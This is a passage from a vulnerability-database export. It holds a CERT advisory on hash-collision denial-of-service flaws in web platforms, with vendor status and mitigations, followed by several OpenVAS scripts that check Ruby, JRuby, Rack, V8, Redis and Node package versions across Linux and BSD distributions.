collisions, thus reducing the impact of an attack. \n \n**Limit maximum request parameters** \n \nSome servers offer the option to limit the number of parameters per request, which can also minimize impact. \n \n--- \n \n### Vendor Information\n\n903934\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n**Javascript is disabled. Click here to view vendors.**\n\n### Apache Tomcat __ Affected\n\nUpdated: December 28, 2011 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nAccording to the n.runs AG advisory: \n\"Tomcat has released updates (7.0.23, 6.0.35) for this issue which limit the number of request parameters using a configuration parameter. The default value of 10.000 should provide sufficient protection.\"\n\n### Vendor References\n\n * <http://tomcat.apache.org/tomcat-7.0-doc/changelog.html>\n\n### Microsoft Corporation __ Affected\n\nNotified: November 01, 2011 Updated: December 29, 2011 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nMicrosoft has released an update to the .NET Framework with [Microsoft Security Bulletin MS11-100](<http://technet.microsoft.com/en-us/security/bulletin/ms11-100.mspx>), which addresses this issue.\n\n### Vendor References\n\n * <http://technet.microsoft.com/en-us/security/bulletin/ms11-100.mspx>\n * <http://technet.microsoft.com/en-us/security/advisory/2659883>\n * <http://blogs.technet.com/b/srd/archive/2011/12/27/more-information-about-the-december-2011-asp-net-vulnerability.aspx>\n\n### Oracle Corporation __ Affected\n\nNotified: November 01, 2011 Updated: February 15, 2016 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nWe are not aware of further vendor information regarding this vulnerability.\n\n### Addendum\n\nNew information regarding this vulnerability in Java 8 was provided in Februrary 2016, which was sent to Oracle for review.\n\nIf you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:cert@cert.org?Subject=VU%23903934 Feedback>).\n\n### Ruby __ Affected\n\nNotified: November 01, 2011 Updated: December 28, 2011 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nAccording to the n.runs AG advisory: \n\"CRuby and JRuby provide updates for this issue with a randomized hash function (CRuby 1.8.7-p357, JRuby 1.6.5.1, CVE-2011-4815).\"\n\n### Vendor References\n\n * <http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/391606>\n\n### The PHP Group __ Affected\n\nUpdated: December 28, 2011 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nAccording to the n.runs AG advisory: \n\"PHP 5 uses the DJBX33A (Dan Bernstein's times 33, addition) hash function and parses POST form data into the $_POST hash table. Because of the structure of the hash function, it is vulnerable to an equivalent substring attack.\"\n\nFrom the Workarounds section: \n\"The easiest way to reduce the impact of such an attack is to reduce the CPU time that a request is allowed to take. For PHP, this can be configured using the max_input_time parameter.\" \n \nPHP 5.4.0 RC4 has been released which adds a max_input_vars directive to help mitigate hash collision attacks. Please note that this is a release candidate, not a stable release.\n\n### Vendor References\n\n * <http://www.php.net/archive/2011.php#id2011-12-25-1>\n\n### Adobe Unknown\n\nNotified: November 01, 2011 Updated: November 01, 2011 \n\n### Status\n\nUnknown\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nWe are not aware of further vendor information regarding this vulnerability.\n\n### IBM Corporation Unknown\n\nNotified: November 01, 2011 Updated: November 01, 2011 \n\n### Status\n\nUnknown\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nWe are not aware of further vendor information regarding this vulnerability.\n\n \n\n\n### CVSS Metrics \n\nGroup | Score | Vector \n---|---|--- \nBase | 0 | AV:--/AC:--/Au:--/C:--/I:--/A:-- \nTemporal | 0 | E:ND/RL:ND/RC:ND \nEnvironmental | 0 | CDP:ND/TD:ND/CR:ND/IR:ND/AR:ND \n \n \n\n\n### References \n\n * <http://www.ocert.org/advisories/ocert-2011-003.html>\n * <http://www.nruns.com/_downloads/advisory28122011.pdf>\n * <http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf>\n * <http://technet.microsoft.com/en-us/security/bulletin/ms11-100.mspx>\n\n### Acknowledgements\n\nThanks to Alexander Klink and Julian W\u00e4lde for reporting these vulnerabilities.\n\nThis document was written by Jared Allar and David Warren.\n\n### Other Information\n\n**CVE IDs:** | [CVE-2011-4815](<http://web.nvd.nist.gov/vuln/detail/CVE-2011-4815>), [CVE-2011-3414](<http://web.nvd.nist.gov/vuln/detail/CVE-2011-3414>), [CVE-2011-4838](<http://web.nvd.nist.gov/vuln/detail/CVE-2011-4838>), [CVE-2011-4885](<http://web.nvd.nist.gov/vuln/detail/CVE-2011-4885>) \n---|--- \n**Severity Metric:** | 10.80 \n**Date Public:** | 2011-12-28 \n**Date First Published:** | 2011-12-28 \n**Date Last Updated: ** | 2016-02-15 20:05 UTC \n**Document Revision: ** | 41 \n", "modified": "2016-02-15T20:05:00", "published": "2011-12-28T00:00:00", "id": "VU:903934", "href": "https://www.kb.cert.org/vuls/id/903934", "type": "cert", "title": "Hash table implementations vulnerable to algorithmic complexity attacks", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}], "openvas": [{"lastseen": "2019-05-29T18:38:52", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4838", "CVE-2011-5036", "CVE-2011-5037", "CVE-2011-4815"], "description": "The remote host is missing an update to the system\n as announced in the referenced advisory.", "modified": "2018-10-05T00:00:00", "published": "2012-02-12T00:00:00", "id": "OPENVAS:136141256231070754", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231070754", "type": "openvas", "title": "FreeBSD Ports: jruby", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: freebsd_jruby.nasl 11762 2018-10-05 10:54:12Z cfischer $\n#\n# Auto generated from VID 91be81e7-3fea-11e1-afc7-2c4138874f7d\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.70754\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_cve_id(\"CVE-2011-4838\", \"CVE-2011-4815\", \"CVE-2011-5036\", \"CVE-2011-5037\");\n script_version(\"$Revision: 11762 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-05 12:54:12 +0200 (Fri, 05 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-02-12 07:27:20 -0500 (Sun, 12 Feb 2012)\");\n script_name(\"FreeBSD Ports: jruby\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"FreeBSD Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/freebsd\", \"ssh/login/freebsdrel\");\n\n script_tag(name:\"insight\", value:\"The following packages are affected:\n\n jruby\n ruby\n ruby+nopthreads\n ruby+nopthreads+oniguruma\n ruby+oniguruma\n rubygem-rack\n v8\n redis\n node\n\nCVE-2011-4838\nJRuby before 1.6.5.1 computes hash values without restricting the\nability to trigger hash collisions predictably, which allows\ncontext-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable.\n\nCVE-2011-4815\nRuby (aka CRuby) before 1.8.7-p357 computes hash values without\nrestricting the ability to trigger hash collisions predictably, which\nallows context-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable.\n\nCVE-2011-5036\nRack before 1.1.3, 1.2.x before 1.2.5, and 1.3.x before 1.3.6 computes\nhash values for form parameters without restricting the ability to\ntrigger hash collisions predictably, which allows remote attackers to\ncause a denial of service (CPU consumption) by sending many crafted\nparameters.\n\nCVE-2011-5037\nGoogle V8 computes hash values for form parameters without restricting\nthe ability to trigger hash collisions predictably, which allows\nremote attackers to cause a denial of service (CPU consumption) by\nsending many crafted parameters, as demonstrated by attacks against\nNode.js.\");\n\n script_tag(name:\"solution\", value:\"Update your system with the appropriate patches or\n software upgrades.\");\n\n script_xref(name:\"URL\", value:\"http://www.ocert.org/advisories/ocert-2011-003.html\");\n script_xref(name:\"URL\", value:\"http://www.nruns.com/_downloads/advisory28122011.pdf\");\n script_xref(name:\"URL\", value:\"http://www.vuxml.org/freebsd/91be81e7-3fea-11e1-afc7-2c4138874f7d.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update to the system\n as announced in the referenced advisory.\");\n\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-bsd.inc\");\n\nvuln = FALSE;\ntxt = \"\";\n\nbver = portver(pkg:\"jruby\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.6.5.1\")<0) {\n txt += 'Package jruby version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"ruby\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"ruby+nopthreads\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby+nopthreads version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"ruby+nopthreads+oniguruma\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby+nopthreads+oniguruma version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"ruby+oniguruma\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby+oniguruma version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"rubygem-rack\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.3.6,3\")<0) {\n txt += 'Package rubygem-rack version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"v8\");\nif(!isnull(bver) && revcomp(a:bver, b:\"3.8.5\")<0) {\n txt += 'Package v8 version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"redis\");\nif(!isnull(bver) && revcomp(a:bver, b:\"2.4.6\")<=0) {\n txt += 'Package redis version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\nbver = portver(pkg:\"node\");\nif(!isnull(bver) && revcomp(a:bver, b:\"0.6.7\")<0) {\n txt += 'Package node version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = TRUE;\n}\n\nif(vuln) {\n security_message(data:txt);\n} else if (__pkg_match) {\n exit(99);\n}", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2017-07-02T21:10:42", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4838", "CVE-2011-5036", "CVE-2011-5037", "CVE-2011-4815"], "description": "The remote host is missing an update to the system\nas announced in the referenced advisory.", "modified": "2017-04-18T00:00:00", "published": "2012-02-12T00:00:00", "id": "OPENVAS:70754", "href": "http://plugins.openvas.org/nasl.php?oid=70754", "type": "openvas", "title": "FreeBSD Ports: jruby", "sourceData": "#\n#VID 91be81e7-3fea-11e1-afc7-2c4138874f7d\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from VID 91be81e7-3fea-11e1-afc7-2c4138874f7d\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The following packages are affected:\n jruby\n ruby\n ruby+nopthreads\n ruby+nopthreads+oniguruma\n ruby+oniguruma\n rubygem-rack\n v8\n redis\n node\n\nCVE-2011-4838\nJRuby before 1.6.5.1 computes hash values without restricting the\nability to trigger hash collisions predictably, which allows\ncontext-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable.\n\nCVE-2011-4815\nRuby (aka CRuby) before 1.8.7-p357 computes hash values without\nrestricting the ability to trigger hash collisions predictably, which\nallows context-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable.\n\nCVE-2011-5036\nRack before 1.1.3, 1.2.x before 1.2.5, and 1.3.x before 1.3.6 computes\nhash values for form parameters without restricting the ability to\ntrigger hash collisions predictably, which allows remote attackers to\ncause a denial of service (CPU consumption) by sending many crafted\nparameters.\n\nCVE-2011-5037\nGoogle V8 computes hash values for form parameters without restricting\nthe ability to trigger hash collisions predictably, which allows\nremote attackers to cause a denial of service (CPU consumption) by\nsending many crafted parameters, as demonstrated by attacks against\nNode.js.\";\ntag_solution = \"Update your system with the appropriate patches or\nsoftware upgrades.\n\nhttp://www.ocert.org/advisories/ocert-2011-003.html\nhttp://www.nruns.com/_downloads/advisory28122011.pdf\nhttp://www.vuxml.org/freebsd/91be81e7-3fea-11e1-afc7-2c4138874f7d.html\";\ntag_summary = \"The remote host is missing an update to the system\nas announced in the referenced advisory.\";\n\n\n\nif(description)\n{\n script_id(70754);\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_cve_id(\"CVE-2011-4838\", \"CVE-2011-4815\", \"CVE-2011-5036\", \"CVE-2011-5037\");\n script_version(\"$Revision: 5963 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-04-18 11:02:14 +0200 (Tue, 18 Apr 2017) $\");\n script_tag(name:\"creation_date\", value:\"2012-02-12 07:27:20 -0500 (Sun, 12 Feb 2012)\");\n script_name(\"FreeBSD Ports: jruby\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"FreeBSD Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/freebsdrel\", \"login/SSH/success\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-bsd.inc\");\n\ntxt = \"\";\nvuln = 0;\ntxt = \"\";\nbver = portver(pkg:\"jruby\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.6.5.1\")<0) {\n txt += 'Package jruby version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"ruby\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"ruby+nopthreads\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby+nopthreads version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"ruby+nopthreads+oniguruma\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby+nopthreads+oniguruma version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"ruby+oniguruma\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.8.7.357,1\")<0) {\n txt += 'Package ruby+oniguruma version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"rubygem-rack\");\nif(!isnull(bver) && revcomp(a:bver, b:\"1.3.6,3\")<0) {\n txt += 'Package rubygem-rack version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"v8\");\nif(!isnull(bver) && revcomp(a:bver, b:\"3.8.5\")<0) {\n txt += 'Package v8 version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"redis\");\nif(!isnull(bver) && revcomp(a:bver, b:\"2.4.6\")<=0) {\n txt += 'Package redis version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"node\");\nif(!isnull(bver) && revcomp(a:bver, b:\"0.6.7\")<0) {\n txt += 'Package node version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\n\nif(vuln) {\n security_message(data:string(txt));\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2017-07-24T12:50:52", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4838"], "description": "The remote host is missing updates announced in\nadvisory GLSA 201207-06.", "modified": "2017-07-07T00:00:00", "published": "2012-08-10T00:00:00", "id": "OPENVAS:71568", "href": "http://plugins.openvas.org/nasl.php?oid=71568", "type": "openvas", "title": "Gentoo Security Advisory GLSA 201207-06 (jruby)", "sourceData": "#\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from Gentoo's XML based advisory\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"A hash collision vulnerability in JRuby allows remote attackers to\ncause a Denial of Service condition.\";\ntag_solution = \"All JRuby users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-java/jruby-1.6.5.1'\n \n\nhttp://www.securityspace.com/smysecure/catid.html?in=GLSA%20201207-06\nhttp://bugs.gentoo.org/show_bug.cgi?id=396305\";\ntag_summary = \"The remote host is missing updates announced in\nadvisory GLSA 201207-06.\";\n\n \n \nif(description)\n{\n script_id(71568);\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_cve_id(\"CVE-2011-4838\");\n script_version(\"$Revision: 6589 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-07 10:27:50 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2012-08-10 03:22:54 -0400 (Fri, 10 Aug 2012)\");\n script_name(\"Gentoo Security Advisory GLSA 201207-06 (jruby)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Gentoo Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/gentoo\", \"ssh/login/pkg\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-gentoo.inc\");\nres = \"\";\nreport = \"\";\nif((res = ispkgvuln(pkg:\"dev-java/jruby\", unaffected: make_list(\"ge 1.6.5.1\"), vulnerable: make_list(\"lt 1.6.5.1\"))) != NULL ) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T18:38:56", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4838"], "description": "The remote host is missing updates announced in\nadvisory GLSA 201207-06.", "modified": "2018-10-12T00:00:00", "published": "2012-08-10T00:00:00", "id": "OPENVAS:136141256231071568", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231071568", "type": "openvas", "title": "Gentoo Security Advisory GLSA 201207-06 (jruby)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: glsa_201207_06.nasl 11859 2018-10-12 08:53:01Z cfischer $\n#\n# Auto generated from Gentoo's XML based advisory\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.71568\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_cve_id(\"CVE-2011-4838\");\n script_version(\"$Revision: 11859 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-12 10:53:01 +0200 (Fri, 12 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-08-10 03:22:54 -0400 (Fri, 10 Aug 2012)\");\n script_name(\"Gentoo Security Advisory GLSA 201207-06 (jruby)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Gentoo Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/gentoo\", \"ssh/login/pkg\");\n script_tag(name:\"insight\", value:\"A hash collision vulnerability in JRuby allows remote attackers to\ncause a Denial of Service condition.\");\n script_tag(name:\"solution\", value:\"All JRuby users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-java/jruby-1.6.5.1'\");\n\n script_xref(name:\"URL\", value:\"http://www.securityspace.com/smysecure/catid.html?in=GLSA%20201207-06\");\n script_xref(name:\"URL\", value:\"http://bugs.gentoo.org/show_bug.cgi?id=396305\");\n script_tag(name:\"summary\", value:\"The remote host is missing updates announced in\nadvisory GLSA 201207-06.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"pkg-lib-gentoo.inc\");\ninclude(\"revisions-lib.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = ispkgvuln(pkg:\"dev-java/jruby\", unaffected: make_list(\"ge 1.6.5.1\"), vulnerable: make_list(\"lt 1.6.5.1\"))) != NULL ) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99);\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2018-01-02T10:57:22", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "description": "Check for the Version of ruby", "modified": "2018-01-02T00:00:00", "published": "2012-04-02T00:00:00", "id": "OPENVAS:863921", "href": "http://plugins.openvas.org/nasl.php?oid=863921", "type": "openvas", "title": "Fedora Update for ruby FEDORA-2011-17542", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for ruby FEDORA-2011-17542\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_affected = \"ruby on Fedora 16\";\ntag_insight = \"Ruby is the interpreted scripting language for quick and easy\n object-oriented programming. It has many features to process text\n files and to do system management tasks (as in Perl). It is simple,\n straight-forward, and extensible.\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.fedoraproject.org/pipermail/package-announce/2012-January/071762.html\");\n script_id(863921);\n script_version(\"$Revision: 8267 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-02 07:29:17 +0100 (Tue, 02 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-04-02 12:36:40 +0530 (Mon, 02 Apr 2012)\");\n script_cve_id(\"CVE-2011-4815\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_xref(name: \"FEDORA\", value: \"2011-17542\");\n script_name(\"Fedora Update for ruby FEDORA-2011-17542\");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of ruby\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC16\")\n{\n if ((res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7.357~1.fc16\", rls:\"FC16\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T18:39:17", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "description": "The remote host is missing an update for the ", "modified": "2018-11-16T00:00:00", "published": "2012-03-07T00:00:00", "id": "OPENVAS:1361412562310831554", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310831554", "type": "openvas", "title": "Mandriva Update for ruby MDVSA-2012:024 (ruby)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Mandriva Update for ruby MDVSA-2012:024 (ruby)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope 